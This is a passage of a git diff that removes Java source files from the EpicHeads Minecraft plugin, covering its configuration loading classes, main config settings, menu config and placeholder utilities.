||||
public String getPermissionNode() {
|
||||
return "epicheads.search";
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getSyntax() {
|
||||
return "/heads search <search query>";
|
||||
}
|
||||
|
||||
@Override
|
||||
public String getDescription() {
|
||||
return "Find useful heads.";
|
||||
}
|
||||
}
|
@ -1,140 +0,0 @@
|
||||
package com.songoda.epicheads.config;
|
||||
|
||||
import com.songoda.epicheads.EpicHeads;
|
||||
import com.songoda.epicheads.menu.ui.item.Item;
|
||||
import com.songoda.epicheads.util.Checks;
|
||||
import com.songoda.epicheads.util.Methods;
|
||||
import org.bukkit.configuration.ConfigurationSection;
|
||||
|
||||
import java.util.concurrent.atomic.AtomicBoolean;
|
||||
|
||||
public abstract class ConfigFile {
|
||||
|
||||
private final String name;
|
||||
|
||||
public ConfigFile(String name) {
|
||||
this.name = name;
|
||||
}
|
||||
|
||||
public String getName() {
|
||||
return name;
|
||||
}
|
||||
|
||||
public abstract ConfigurationSection getConfig();
|
||||
|
||||
public abstract void save();
|
||||
|
||||
public abstract void reload();
|
||||
|
||||
public abstract ConfigurationSection getDefaults();
|
||||
|
||||
public abstract void copyDefaults();
|
||||
|
||||
public boolean getOrCopyDefault(String key, boolean defaultValue, AtomicBoolean requiresSave) {
|
||||
Checks.ensureNonNull(key, "key");
|
||||
Checks.ensureNonNull(requiresSave, "requiresSave");
|
||||
|
||||
ConfigurationSection config = getConfig();
|
||||
|
||||
if (!config.isSet(key) || !config.isBoolean(key))
|
||||
return replaceInvalid(key, defaultValue, requiresSave);
|
||||
|
||||
return config.getBoolean(key);
|
||||
}
|
||||
|
||||
public int getOrCopyDefault(String key, int defaultValue, AtomicBoolean requiresSave) {
|
||||
Checks.ensureNonNull(key, "key");
|
||||
Checks.ensureNonNull(requiresSave, "requiresSave");
|
||||
|
||||
ConfigurationSection config = getConfig();
|
||||
|
||||
if (!config.isSet(key) || !config.isInt(key))
|
||||
return replaceInvalid(key, defaultValue, requiresSave);
|
||||
|
||||
return config.getInt(key);
|
||||
}
|
||||
|
||||
public double getOrCopyDefault(String key, double defaultValue, AtomicBoolean requiresSave) {
|
||||
Checks.ensureNonNull(key, "key");
|
||||
Checks.ensureNonNull(requiresSave, "requiresSave");
|
||||
|
||||
ConfigurationSection config = getConfig();
|
||||
|
||||
if (!config.isSet(key) || (!config.isDouble(key) && !config.isInt(key) && !config.isLong(key)))
|
||||
return replaceInvalid(key, defaultValue, requiresSave);
|
||||
|
||||
return config.getDouble(key);
|
||||
}
|
||||
|
||||
public String getOrCopyDefault(String key, String defaultValue, AtomicBoolean requiresSave) {
|
||||
Checks.ensureNonNull(key, "key");
|
||||
Checks.ensureNonNull(requiresSave, "requiresSave");
|
||||
|
||||
ConfigurationSection config = getConfig();
|
||||
|
||||
if (!config.isSet(key) || !config.isString(key))
|
||||
return replaceInvalid(key, defaultValue, requiresSave);
|
||||
|
||||
return config.getString(key);
|
||||
}
|
||||
|
||||
public Item getOrCopyDefault(String key, Item defaultValue, AtomicBoolean requiresSave) {
|
||||
Checks.ensureNonNull(key, "key");
|
||||
Checks.ensureNonNull(defaultValue, "defaultValue");
|
||||
Checks.ensureNonNull(requiresSave, "requiresSave");
|
||||
|
||||
ConfigurationSection config = getConfig();
|
||||
|
||||
if (!config.isSet(key) || !config.isConfigurationSection(key))
|
||||
return replaceInvalid(key, defaultValue, requiresSave);
|
||||
|
||||
Item item = Item.load(name, config.getConfigurationSection(key), requiresSave);
|
||||
|
||||
if (item == null)
|
||||
return replaceInvalid(key, defaultValue, requiresSave);
|
||||
|
||||
return item;
|
||||
}
|
||||
|
||||
private Item replaceInvalid(String key, Item replacement, AtomicBoolean requiresSave) {
|
||||
Methods.formatText("\"" + key + "\" not set or invalid in " + getName() + ", replacing with " + replacement);
|
||||
|
||||
removeInvalid(key, requiresSave);
|
||||
replacement.save(getConfig(), key);
|
||||
|
||||
requiresSave.set(true);
|
||||
|
||||
return replacement;
|
||||
}
|
||||
|
||||
private <T> T replaceInvalid(String key, T replacement, AtomicBoolean requiresSave) {
|
||||
Methods.formatText("\"" + key + "\" not set or invalid in " + getName() + ", replacing with " + replacement);
|
||||
|
||||
removeInvalid(key, requiresSave);
|
||||
getConfig().set(key, replacement);
|
||||
|
||||
requiresSave.set(true);
|
||||
|
||||
return replacement;
|
||||
}
|
||||
|
||||
private void removeInvalid(String key, AtomicBoolean requiresSave) {
|
||||
ConfigurationSection config = getConfig();
|
||||
|
||||
if (!config.isSet(key))
|
||||
return;
|
||||
|
||||
String toKey = key + "-invalid";
|
||||
|
||||
int counter = 2;
|
||||
while (config.isSet(toKey)) {
|
||||
toKey = key + "-invalid-" + (counter++);
|
||||
}
|
||||
|
||||
config.set(toKey, config.get(key));
|
||||
config.set(key, null);
|
||||
|
||||
requiresSave.set(true);
|
||||
}
|
||||
|
||||
}
|
@ -1,45 +0,0 @@
|
||||
package com.songoda.epicheads.config;
|
||||
|
||||
import com.songoda.epicheads.EpicHeads;
|
||||
import org.bukkit.configuration.ConfigurationSection;
|
||||
import org.bukkit.configuration.file.YamlConfiguration;
|
||||
|
||||
import java.io.InputStream;
|
||||
import java.io.InputStreamReader;
|
||||
|
||||
public class DefaultsConfigFile extends ConfigFile {
|
||||
|
||||
private ConfigurationSection config;
|
||||
|
||||
public DefaultsConfigFile(String name) {
|
||||
super(name);
|
||||
}
|
||||
|
||||
@Override
|
||||
public ConfigurationSection getConfig() {
|
||||
return config;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void save() {
|
||||
throw new UnsupportedOperationException("Cannot save a DefaultsConfigFile.");
|
||||
}
|
||||
|
||||
@Override
|
||||
public void reload() {
|
||||
InputStream resource = EpicHeads.getInstance().getResource(getName());
|
||||
InputStreamReader reader = new InputStreamReader(resource);
|
||||
config = YamlConfiguration.loadConfiguration(reader);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void copyDefaults() {
|
||||
throw new UnsupportedOperationException("Cannot save a DefaultsConfigFile.");
|
||||
}
|
||||
|
||||
@Override
|
||||
public ConfigurationSection getDefaults() {
|
||||
return config;
|
||||
}
|
||||
|
||||
}
|
@ -1,84 +0,0 @@
|
||||
package com.songoda.epicheads.config;
|
||||
|
||||
import com.songoda.epicheads.EpicHeads;
|
||||
import com.songoda.epicheads.util.Checks;
|
||||
import org.bukkit.configuration.ConfigurationSection;
|
||||
import org.bukkit.configuration.file.YamlConfiguration;
|
||||
|
||||
import java.io.*;
|
||||
|
||||
public class FileConfigFile extends ConfigFile {
|
||||
|
||||
private YamlConfiguration config;
|
||||
private ConfigurationSection defaults;
|
||||
private String resourceName;
|
||||
|
||||
public FileConfigFile(String name) {
|
||||
this(name, name);
|
||||
}
|
||||
|
||||
public FileConfigFile(String name, String resourceName) {
|
||||
super(name);
|
||||
|
||||
Checks.ensureNonNull(resourceName, "resourceName");
|
||||
|
||||
this.resourceName = resourceName;
|
||||
}
|
||||
|
||||
public File getFile() {
|
||||
return new File(EpicHeads.getInstance().getDataFolder(), getName());
|
||||
}
|
||||
|
||||
@Override
|
||||
public ConfigurationSection getConfig() {
|
||||
return config;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void save() {
|
||||
File file = getFile();
|
||||
|
||||
try {
|
||||
if (!file.exists() && !file.createNewFile())
|
||||
throw new IOException("Unable to create config file " + file);
|
||||
|
||||
config.save(file);
|
||||
} catch (IOException e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void reload() {
|
||||
config = YamlConfiguration.loadConfiguration(getFile());
|
||||
}
|
||||
|
||||
@Override
|
||||
public void copyDefaults() {
|
||||
if (getFile().exists())
|
||||
return;
|
||||
|
||||
try (InputStream input = EpicHeads.getInstance().getResource(resourceName); OutputStream output = new FileOutputStream(getFile())) {
|
||||
|
||||
int read;
|
||||
byte[] buffer = new byte[2048];
|
||||
while ((read = input.read(buffer)) > 0) {
|
||||
output.write(buffer, 0, read);
|
||||
}
|
||||
} catch (IOException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public ConfigurationSection getDefaults() {
|
||||
if (defaults == null) {
|
||||
InputStream resource = EpicHeads.getInstance().getResource(resourceName);
|
||||
InputStreamReader reader = new InputStreamReader(resource);
|
||||
defaults = YamlConfiguration.loadConfiguration(reader);
|
||||
}
|
||||
|
||||
return defaults;
|
||||
}
|
||||
|
||||
}
|
@ -1,415 +0,0 @@
|
||||
package com.songoda.epicheads.config;
|
||||
|
||||
import com.songoda.epicheads.EpicHeads;
|
||||
import com.songoda.epicheads.menu.ui.item.Item;
|
||||
import com.songoda.epicheads.util.Checks;
|
||||
import com.songoda.epicheads.util.Clock;
|
||||
import com.songoda.epicheads.util.Methods;
|
||||
import com.songoda.epicheads.volatilecode.Items;
|
||||
import org.bukkit.Bukkit;
|
||||
import org.bukkit.configuration.ConfigurationSection;
|
||||
|
||||
import java.util.Arrays;
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
import java.util.concurrent.atomic.AtomicBoolean;
|
||||
|
||||
public class MainConfig {
|
||||
|
||||
private final ConfigFile configFile;
|
||||
|
||||
private boolean economyEnabled;
|
||||
private double defaultHeadCost;
|
||||
private boolean vaultEcoEnabled;
|
||||
private boolean itemEcoEnabled;
|
||||
private Item itemEcoItem;
|
||||
private boolean playerPointsEcoEnabled;
|
||||
|
||||
private boolean headNamesEnabled;
|
||||
private boolean useBlockStore;
|
||||
private boolean useCacheNames;
|
||||
private String defaultHeadName;
|
||||
|
||||
private boolean hideNoPermCategories;
|
||||
private boolean freeInCreative;
|
||||
private boolean checkForUpdates;
|
||||
|
||||
private Map<String, Double> categoryCosts;
|
||||
|
||||
private String headLabel;
|
||||
private String[] headAliases;
|
||||
private String headDescription;
|
||||
|
||||
private String reloadLabel;
|
||||
private String addLabel;
|
||||
private String handLabel;
|
||||
private String getLabel;
|
||||
private String giveLabel;
|
||||
private String randomLabel;
|
||||
private String removeLabel;
|
||||
private String renameLabel;
|
||||
private String costLabel;
|
||||
private String categoryCostLabel;
|
||||
private String itemEcoLabel;
|
||||
private String idLabel;
|
||||
private String searchLabel;
|
||||
private String helpLabel;
|
||||
|
||||
public MainConfig() {
|
||||
this.configFile = EpicHeads.getInstance().getVersionedConfig("config.yml");
|
||||
|
||||
reload();
|
||||
}
|
||||
|
||||
public void reload() {
|
||||
Clock timer = Clock.start();
|
||||
|
||||
configFile.copyDefaults();
|
||||
configFile.reload();
|
||||
|
||||
ConfigurationSection config = configFile.getConfig();
|
||||
|
||||
AtomicBoolean shouldSave = new AtomicBoolean(false);
|
||||
|
||||
loadCommandprint(config, shouldSave);
|
||||
loadCategoryCosts(config, shouldSave);
|
||||
|
||||
if (config.isSet("hat-mode") && config.isBoolean("hat-mode") && config.getBoolean("hat-mode")) {
|
||||
Methods.formatText("--------------------------------------------------");
|
||||
Methods.formatText("Until further notice, hat mode is no longer supported");
|
||||
Methods.formatText("in Heads past version 1.10.0, please downgrade or");
|
||||
Methods.formatText("switch the plugin out of hat-mode in your config.yml");
|
||||
Methods.formatText("--------------------------------------------------");
|
||||
|
||||
Bukkit.getScheduler().scheduleSyncDelayedTask(EpicHeads.getInstance(), () -> {
|
||||
Methods.formatText("--------------------------------------------------");
|
||||
Methods.formatText("Until further notice, hat mode is no longer supported");
|
||||
Methods.formatText("in Heads past version 1.10.0, please downgrade or");
|
||||
Methods.formatText("switch the plugin out of hat-mode in your config.yml");
|
||||
Methods.formatText("--------------------------------------------------");
|
||||
|
||||
Bukkit.getPluginManager().disablePlugin(EpicHeads.getInstance());
|
||||
});
|
||||
}
|
||||
|
||||
economyEnabled = loadBoolean(config, "economy.enabled", false, shouldSave);
|
||||
defaultHeadCost = loadDouble(config, "economy.default-head-cost", 0, shouldSave);
|
||||
vaultEcoEnabled = loadBoolean(config, "economy.vault-eco.enabled", true, shouldSave);
|
||||
itemEcoEnabled = loadBoolean(config, "economy.item-eco.enabled", false, shouldSave);
|
||||
|
||||
Item defaultItemEcoItem = Items.createSkull().name("&6Player Head Token").lore("&8Use in /EpicHeads!");
|
||||
|
||||
itemEcoItem = loadItem(config, "economy.item-eco.item", defaultItemEcoItem, shouldSave);
|
||||
|
||||
playerPointsEcoEnabled = loadBoolean(config, "economy.player-points-eco.enabled", false, shouldSave);
|
||||
|
||||
headNamesEnabled = loadBoolean(config, "breaking-head-names.enabled", true, shouldSave);
|
||||
useBlockStore = loadBoolean(config, "breaking-head-names.attempt-hook-blockstore", true, shouldSave);
|
||||
useCacheNames = loadBoolean(config, "breaking-head-names.similar-heads-in-cache", true, shouldSave);
|
||||
defaultHeadName = loadString(config, "breaking-head-names.default-name", "Decoration Head", shouldSave);
|
||||
|
||||
hideNoPermCategories = loadBoolean(config, "hide-no-perm-categories", true, shouldSave);
|
||||
freeInCreative = loadBoolean(config, "free-in-creative", false, shouldSave);
|
||||
checkForUpdates = loadBoolean(config, "check-for-updates", true, shouldSave);
|
||||
|
||||
if (defaultHeadCost < 0) {
|
||||
Methods.formatText("\"economy.default-head-cost\" cannot be less than 0 in config.yml, defaulting to 0");
|
||||
defaultHeadCost = 0;
|
||||
}
|
||||
|
||||
if (shouldSave.get()) {
|
||||
configFile.save();
|
||||
}
|
||||
|
||||
Methods.formatText("Loaded Main Config " + timer);
|
||||
}
|
||||
|
||||
private void loadCommandprint(ConfigurationSection config, AtomicBoolean shouldSave) {
|
||||
reloadLabel = loadString(config, "commands.heads.sub-commands.reload", "reload", shouldSave);
|
||||
addLabel = loadString(config, "commands.heads.sub-commands.add", "add", shouldSave);
|
||||
handLabel = loadString(config, "commands.heads.sub-commands.hand", "hand", shouldSave);
|
||||
getLabel = loadString(config, "commands.heads.sub-commands.get", "get", shouldSave);
|
||||
giveLabel = loadString(config, "commands.heads.sub-commands.give", "give", shouldSave);
|
||||
randomLabel = loadString(config, "commands.heads.sub-commands.random", "random", shouldSave);
|
||||
removeLabel = loadString(config, "commands.heads.sub-commands.remove", "remove", shouldSave);
|
||||
renameLabel = loadString(config, "commands.heads.sub-commands.rename", "rename", shouldSave);
|
||||
costLabel = loadString(config, "commands.heads.sub-commands.cost", "cost", shouldSave);
|
||||
categoryCostLabel = loadString(config, "commands.heads.sub-commands.category-cost", "categorycost", shouldSave);
|
||||
itemEcoLabel = loadString(config, "commands.heads.sub-commands.item-eco", "itemeco", shouldSave);
|
||||
idLabel = loadString(config, "commands.heads.sub-commands.id", "id", shouldSave);
|
||||
searchLabel = loadString(config, "commands.heads.sub-commands.search", "search", shouldSave);
|
||||
helpLabel = loadString(config, "commands.heads.sub-commands.help", "help", shouldSave);
|
||||
|
||||
headLabel = loadString(config, "commands.heads.label", "EpicHeads", shouldSave);
|
||||
headDescription = loadString(config, "commands.heads.description", "Get a cool head", shouldSave);
|
||||
headAliases = loadStringArray(config, "commands.heads.aliases", new String[] { "head" }, shouldSave);
|
||||
}
|
||||
|
||||
private void loadCategoryCosts(ConfigurationSection config, AtomicBoolean shouldSave) {
|
||||
categoryCosts = new HashMap<>();
|
||||
|
||||
if (!config.isSet("economy.categories") || !config.isConfigurationSection("economy.categories"))
|
||||
return;
|
||||
|
||||
ConfigurationSection categories = config.getConfigurationSection("economy.categories");
|
||||
|
||||
for (String key : categories.getKeys(false)) {
|
||||
double cost = categories.getDouble(key, -1);
|
||||
|
||||
if (cost < 0)
|
||||
continue;
|
||||
|
||||
categoryCosts.put(key.toLowerCase(), cost);
|
||||
}
|
||||
}
|
||||
|
||||
private String loadString(ConfigurationSection config, String key, String defaultVal, AtomicBoolean shouldSave) {
|
||||
if (config.isSet(key) && config.isString(key) && !config.getString(key).isEmpty())
|
||||
return config.getString(key);
|
||||
|
||||
Methods.formatText("\"" + key + "\" not set or invalid in config.yml, resetting to \"" + defaultVal + "\"");
|
||||
|
||||
config.set(key, defaultVal);
|
||||
shouldSave.set(true);
|
||||
|
||||
return defaultVal;
|
||||
}
|
||||
|
||||
private String[] loadStringArray(ConfigurationSection config, String key, String[] defaultVal, AtomicBoolean shouldSave) {
|
||||
if (config.isSet(key) && config.isList(key))
|
||||
return config.getStringList(key).toArray(new String[0]);
|
||||
|
||||
Methods.formatText("\"" + key + "\" not set or invalid in config.yml, resetting to " + Arrays.toString(defaultVal));
|
||||
|
||||
config.set(key, Arrays.asList(defaultVal));
|
||||
shouldSave.set(true);
|
||||
|
||||
return defaultVal;
|
||||
}
|
||||
|
||||
private boolean loadBoolean(ConfigurationSection config, String key, boolean defaultVal, AtomicBoolean shouldSave) {
|
||||
if (config.isSet(key) && config.isBoolean(key))
|
||||
return config.getBoolean(key);
|
||||
|
||||
Methods.formatText("\"" + key + "\" not set or invalid in config.yml, resetting to " + defaultVal);
|
||||
|
||||
config.set(key, defaultVal);
|
||||
shouldSave.set(true);
|
||||
|
||||
return defaultVal;
|
||||
}
|
||||
|
||||
private double loadDouble(ConfigurationSection config, String key, double defaultVal, AtomicBoolean shouldSave) {
|
||||
if (config.isSet(key) && (config.isInt(key) || config.isDouble(key)))
|
||||
return config.getDouble(key);
|
||||
|
||||
Methods.formatText("\"" + key + "\" not set or invalid in config.yml, resetting to " + defaultVal);
|
||||
|
||||
config.set(key, defaultVal);
|
||||
shouldSave.set(true);
|
||||
|
||||
return defaultVal;
|
||||
}
|
||||
|
||||
private Item loadItem(ConfigurationSection config, String key, Item defaultItem, AtomicBoolean shouldSave) {
|
||||
if (config.isSet(key) && config.isConfigurationSection(key)) {
|
||||
Item item = Item.load("config.yml", config.getConfigurationSection(key), shouldSave);
|
||||
|
||||
if (item != null)
|
||||
return item;
|
||||
}
|
||||
|
||||
Methods.formatText(key + " not set or invalid in config.yml, resetting to " + defaultItem);
|
||||
|
||||
config.set(key, null);
|
||||
defaultItem.save(config.createSection(key));
|
||||
shouldSave.set(true);
|
||||
|
||||
return defaultItem;
|
||||
}
|
||||
|
||||
private String getPlainCategoryName(String category) {
|
||||
return category.toLowerCase().replace(" ", "");
|
||||
}
|
||||
|
||||
public boolean hasCategoryCost(String category) {
|
||||
return categoryCosts.containsKey(getPlainCategoryName(category));
|
||||
}
|
||||
|
||||
public double getCategoryCost(String category) {
|
||||
return categoryCosts.getOrDefault(getPlainCategoryName(category), defaultHeadCost);
|
||||
}
|
||||
|
||||
public void setCategoryCost(String category, double cost) {
|
||||
categoryCosts.put(getPlainCategoryName(category), cost);
|
||||
|
||||
saveCategoryCosts();
|
||||
}
|
||||
|
||||
public void removeCategoryCost(String category) {
|
||||
categoryCosts.remove(getPlainCategoryName(category));
|
||||
|
||||
saveCategoryCosts();
|
||||
}
|
||||
|
||||
private void saveCategoryCosts() {
|
||||
Clock timer = Clock.start();
|
||||
|
||||
ConfigurationSection config = configFile.getConfig();
|
||||
|
||||
config.set("economy.categories", null);
|
||||
|
||||
if (categoryCosts.size() > 0) {
|
||||
ConfigurationSection section = config.createSection("economy.categories");
|
||||
|
||||
for (Map.Entry<String, Double> entry : categoryCosts.entrySet()) {
|
||||
section.set(entry.getKey(), entry.getValue());
|
||||
}
|
||||
}
|
||||
|
||||
configFile.save();
|
||||
|
||||
Methods.formatText("Saved Main Config " + timer);
|
||||
}
|
||||
|
||||
public void setItemEcoItem(Item item) {
|
||||
Checks.ensureNonNull(item, "item");
|
||||
|
||||
this.itemEcoItem = item;
|
||||
|
||||
saveItemEcoItem();
|
||||
}
|
||||
|
||||
private void saveItemEcoItem() {
|
||||
Clock timer = Clock.start();
|
||||
|
||||
ConfigurationSection config = this.configFile.getConfig();
|
||||
|
||||
config.set("economy.item-eco.item", null);
|
||||
itemEcoItem.save(config.createSection("economy.item-eco.item"));
|
||||
|
||||
configFile.save();
|
||||
|
||||
Methods.formatText("Saved Main Config " + timer);
|
||||
}
|
||||
|
||||
public boolean isEconomyEnabled() {
|
||||
return economyEnabled;
|
||||
}
|
||||
|
||||
public double getDefaultHeadCost() {
|
||||
return defaultHeadCost;
|
||||
}
|
||||
|
||||
public boolean isVaultEconomyEnabled() {
|
||||
return vaultEcoEnabled;
|
||||
}
|
||||
|
||||
public boolean isItemEconomyEnabled() {
|
||||
return itemEcoEnabled;
|
||||
}
|
||||
|
||||
public Item getItemEconomyItem() {
|
||||
return itemEcoItem;
|
||||
}
|
||||
|
||||
public boolean isPlayerPointsEconomyEnabled() {
|
||||
return playerPointsEcoEnabled;
|
||||
}
|
||||
|
||||
public boolean isHeadNamesEnabled() {
|
||||
return headNamesEnabled;
|
||||
}
|
||||
|
||||
public boolean shouldUseBlockStore() {
|
||||
return useBlockStore;
|
||||
}
|
||||
|
||||
public boolean shouldUseCacheNames() {
|
||||
return useCacheNames;
|
||||
}
|
||||
|
||||
public String getDefaultHeadName() {
|
||||
return defaultHeadName;
|
||||
}
|
||||
|
||||
public boolean shouldHideNoPermCategories() {
|
||||
return hideNoPermCategories;
|
||||
}
|
||||
|
||||
public boolean isFreeInCreative() {
|
||||
return freeInCreative;
|
||||
}
|
||||
|
||||
public boolean shouldCheckForUpdates() {
|
||||
return checkForUpdates;
|
||||
}
|
||||
|
||||
public String getHeadCommand() {
|
||||
return headLabel;
|
||||
}
|
||||
|
||||
public String[] getHeadAliases() {
|
||||
return headAliases;
|
||||
}
|
||||
|
||||
public String getHeadDescription() {
|
||||
return headDescription;
|
||||
}
|
||||
|
||||
public String getReloadCommand() {
|
||||
return reloadLabel;
|
||||
}
|
||||
|
||||
public String getAddCommand() {
|
||||
return addLabel;
|
||||
}
|
||||
|
||||
public String getHandCommand() {
|
||||
return handLabel;
|
||||
}
|
||||
|
||||
public String getGetCommand() {
|
||||
return getLabel;
|
||||
}
|
||||
|
||||
public String getGiveCommand() {
|
||||
return giveLabel;
|
||||
}
|
||||
|
||||
public String getRandomCommand() {
|
||||
return randomLabel;
|
||||
}
|
||||
|
||||
public String getRemoveCommand() {
|
||||
return removeLabel;
|
||||
}
|
||||
|
||||
public String getRenameCommand() {
|
||||
return renameLabel;
|
||||
}
|
||||
|
||||
public String getCostCommand() {
|
||||
return costLabel;
|
||||
}
|
||||
|
||||
public String getCategoryCostCommand() {
|
||||
return categoryCostLabel;
|
||||
}
|
||||
|
||||
public String getItemEcoCommand() {
|
||||
return itemEcoLabel;
|
||||
}
|
||||
|
||||
public String getIdCommand() {
|
||||
return idLabel;
|
||||
}
|
||||
|
||||
public String getSearchCommand() {
|
||||
return searchLabel;
|
||||
}
|
||||
|
||||
public String getHelpCommand() {
|
||||
return helpLabel;
|
||||
}
|
||||
}
|
@ -1,101 +0,0 @@
|
||||
package com.songoda.epicheads.config.lang;
|
||||
|
||||
import com.songoda.epicheads.util.Checks;
|
||||
import org.bukkit.ChatColor;
|
||||
|
||||
import java.util.ArrayList;
|
||||
import java.util.List;
|
||||
import java.util.Objects;
|
||||
import java.util.function.Function;
|
||||
|
||||
public final class Placeholder {
|
||||
|
||||
private final String replace;
|
||||
private final String with;
|
||||
|
||||
public Placeholder(String replace, String with) {
|
||||
Checks.ensureNonNull(replace, "replace");
|
||||
Checks.ensureNonNull(with, "with");
|
||||
|
||||
this.replace = replace;
|
||||
this.with = with;
|
||||
}
|
||||
|
||||
public Placeholder(String replace, Object with) {
|
||||
this(replace, Objects.toString(with));
|
||||
}
|
||||
|
||||
public String getReplace() {
|
||||
return replace;
|
||||
}
|
||||
|
||||
public String getWith() {
|
||||
return with;
|
||||
}
|
||||
|
||||
public String apply(String text) {
|
||||
Checks.ensureNonNull(text, "text");
|
||||
|
||||
return text.replace(replace, with);
|
||||
}
|
||||
|
||||
public static String applyAll(String text, Placeholder... placeholders) {
|
||||
Checks.ensureNonNull(text, "text");
|
||||
Checks.ensureArrayNonNull(placeholders, "placeholders");
|
||||
|
||||
for (Placeholder placeholder : placeholders) {
|
||||
text = placeholder.apply(text);
|
||||
}
|
||||
|
||||
return text;
|
||||
}
|
||||
|
||||
public static String[] applyAll(String[] lines, Placeholder... placeholders) {
|
||||
Checks.ensureArrayNonNull(lines, "lines");
|
||||
Checks.ensureArrayNonNull(placeholders, "placeholders");
|
||||
|
||||
String[] replaced = new String[lines.length];
|
||||
|
||||
for(int index = 0; index < lines.length; index++) {
|
||||
replaced[index] = applyAll(lines[index], placeholders);
|
||||
}
|
||||
|
||||
return replaced;
|
||||
}
|
||||
|
||||
public static String[] colourAll(String... lines) {
|
||||
Checks.ensureArrayNonNull(lines, "lines");
|
||||
|
||||
String[] translated = new String[lines.length];
|
||||
|
||||
for(int index = 0; index < lines.length; index++) {
|
||||
Checks.ensureTrue(lines[index] != null, " lines cannot contain a null value, lines[" + index + "] is null");
|
||||
|
||||
translated[index] = ChatColor.translateAlternateColorCodes('&', lines[index]);
|
||||
}
|
||||
|
||||
return translated;
|
||||
}
|
||||
|
||||
public static String[] filter(String[] lines, Function<String, Boolean> accept) {
|
||||
Checks.ensureArrayNonNull(lines, "lines");
|
||||
|
||||
if(accept == null)
|
||||
return lines;
|
||||
|
||||
List<String> filtered = new ArrayList<>();
|
||||
|
||||
for(int index = 0; index < lines.length; index++) {
|
||||
if(accept.apply(lines[index])) {
|
||||
filtered.add(lines[index]);
|
||||
}
|
||||
}
|
||||
|
||||
return filtered.toArray(new String[0]);
|
||||
}
|
||||
|
||||
public static String[] filterAndApplyAll(String[] lines, Function<String, Boolean> accept, Placeholder... placeholders) {
|
||||
return Placeholder.applyAll(Placeholder.filter(lines, accept), placeholders);
|
||||
}
|
||||
|
||||
}
|
@ -1,94 +0,0 @@
|
||||
package com.songoda.epicheads.config.menu;
|
||||
|
||||
import com.songoda.epicheads.EpicHeads;
|
||||
import com.songoda.epicheads.config.ConfigFile;
|
||||
import com.songoda.epicheads.menu.CacheHeadsMenu;
|
||||
import com.songoda.epicheads.menu.CategoriesMenu;
|
||||
import com.songoda.epicheads.menu.HeadsMenu;
|
||||
import com.songoda.epicheads.menu.ui.element.PagedBox;
|
||||
import com.songoda.epicheads.menu.ui.element.Scrollbar;
|
||||
import com.songoda.epicheads.menu.ui.item.Item;
|
||||
import com.songoda.epicheads.util.Checks;
|
||||
|
||||
import java.util.concurrent.atomic.AtomicBoolean;
|
||||
|
||||
public class MenuConfig {
|
||||
|
||||
private final ConfigFile config;
|
||||
private final AtomicBoolean requiresSave;
|
||||
|
||||
public MenuConfig(String fileName) {
|
||||
this(EpicHeads.getInstance().getVersionedConfig(fileName));
|
||||
}
|
||||
|
||||
public MenuConfig(ConfigFile config) {
|
||||
Checks.ensureNonNull(config, "configFile");
|
||||
|
||||
this.config = config;
|
||||
this.requiresSave = new AtomicBoolean(false);
|
||||
}
|
||||
|
||||
public void load() {
|
||||
config.copyDefaults();
|
||||
config.reload();
|
||||
|
||||
requiresSave.set(false);
|
||||
}
|
||||
|
||||
public void saveIfChanged() {
|
||||
if (!requiresSave.get())
|
||||
return;
|
||||
|
||||
config.save();
|
||||
}
|
||||
|
||||
public Scrollbar.Template loadScrollbar(String key) {
|
||||
Item left = config.getOrCopyDefault(key + ".left", Scrollbar.defaultLeft, requiresSave);
|
||||
Item right = config.getOrCopyDefault(key + ".right", Scrollbar.defaultRight, requiresSave);
|
||||
Item noLeft = config.getOrCopyDefault(key + ".no-left", Scrollbar.defaultNoLeft, requiresSave);
|
||||
Item noRight = config.getOrCopyDefault(key + ".no-right", Scrollbar.defaultNoRight, requiresSave);
|
||||
Item filler = config.getOrCopyDefault(key + ".filler", Scrollbar.defaultFiller, requiresSave);
|
||||
|
||||
return new Scrollbar.Template(left, right, noLeft, noRight, filler);
|
||||
}
|
||||
|
||||
public PagedBox.Template loadPagedBox(String key) {
|
||||
Item unselected = config.getOrCopyDefault(key + ".unselected-page", PagedBox.defaultUnselected, requiresSave);
|
||||
Item selected = config.getOrCopyDefault(key + ".selected-page", PagedBox.defaultSelected, requiresSave);
|
||||
|
||||
Scrollbar.Template scrollbar = loadScrollbar(key + ".scrollbar");
|
||||
|
||||
return new PagedBox.Template(scrollbar, unselected, selected);
|
||||
}
|
||||
|
||||
public CategoriesMenu.Template loadCategoriesMenu(String key) {
|
||||
Item category = config.getOrCopyDefault(key + ".category", CategoriesMenu.defaultCategoryItem, requiresSave);
|
||||
|
||||
PagedBox.Template pagedBoxTemplate = loadPagedBox(key);
|
||||
|
||||
return new CategoriesMenu.Template(pagedBoxTemplate, category);
|
||||
}
|
||||
|
||||
public HeadsMenu.Template loadHeadsMenu(String key) {
|
||||
Item head = config.getOrCopyDefault(key + ".head", HeadsMenu.defaultHead, requiresSave);
|
||||
|
||||
PagedBox.Template pagedBoxTemplate = loadPagedBox(key);
|
||||
|
||||
return new HeadsMenu.Template(pagedBoxTemplate, head);
|
||||
}
|
||||
|
||||
public CacheHeadsMenu.Template loadCacheHeadsMenu(String key) {
|
||||
String categoriesTitle = config.getOrCopyDefault(key + ".categories-title", CacheHeadsMenu.defaultCategoriesTitle, requiresSave);
|
||||
String categoryTitle = config.getOrCopyDefault(key + ".category-title", CacheHeadsMenu.defaultCategoryTitle, requiresSave);
|
||||
|
||||
Item close = config.getOrCopyDefault(key + ".close", CacheHeadsMenu.defaultClose, requiresSave);
|
||||
Item back = config.getOrCopyDefault(key + ".back", CacheHeadsMenu.defaultBack, requiresSave);
|
||||
Item search = config.getOrCopyDefault(key + ".search", CacheHeadsMenu.defaultSearch, requiresSave);
|
||||
|
||||
CategoriesMenu.Template categoriesTemplate = loadCategoriesMenu(key + ".categories");
|
||||
HeadsMenu.Template headsTemplate = loadHeadsMenu(key + ".heads");
|
||||
|
||||
return new CacheHeadsMenu.Template(categoriesTemplate, headsTemplate, close, back, search, categoriesTitle, categoryTitle);
|
||||
}
|
||||
|
||||
}
|
@ -1,34 +0,0 @@
|
||||
package com.songoda.epicheads.config.menu;
|
||||
|
||||
import com.songoda.epicheads.EpicHeads;
|
||||
